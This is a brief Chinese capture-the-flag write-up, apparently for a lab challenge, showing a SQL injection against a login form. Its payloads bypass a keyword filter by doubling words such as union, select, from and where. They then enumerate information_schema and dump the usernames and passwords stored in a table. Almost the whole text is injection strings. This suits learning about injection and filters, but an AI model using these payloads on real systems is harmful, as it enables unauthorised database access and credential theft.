首先输入1'页面报错,说明存在SQL注入漏洞:
接着输入1' or 1=1#,显示:
说明or被过滤,就尝试双写绕过,输入1' oorr 1=1#
登录成功,接着判断几个字段,用1' order by 3#尝试
发现order中的or,by都被过滤,就饶过1' oorrder bbyy 3#
发现有3个字段,用联合查询1,2,3试试,发现union和select都被过滤,就都双写,确认显示的位置:
1'ununionion seselectlect 1,database(),3#
得到数据库名:geek
1' ununionion seselectlect 1,table_name,3 frroom infoorrmation_schema.tables where table_schema='geek'#
where也被过滤了,难受,1' ununionion seselectlect 1,2,table_name frorom infoorrmation_schema.tables whwhereere table_schema='geek'#
得到表名:b4bsql,1'ununionion seselectlect 1,2,column_name frorom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
发现只有一个id表,查看其中内容,1'ununionion seselectlect 1,2,id frorom b4bsql#,
发现没有答案,则猜测字段没显示完全,则用groupconcat;
1'ununionion seselectlect 1,2,group_concat(column_name) frorom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
得到三个字段:id/username/password:
1'ununionion seselectlect 1,username,passwoorrd frorom b4bsql#
应该是password又没显示完全
1'ununionion seselectlect 1,username,group_concat(passwoorrd) frorom b4bsql#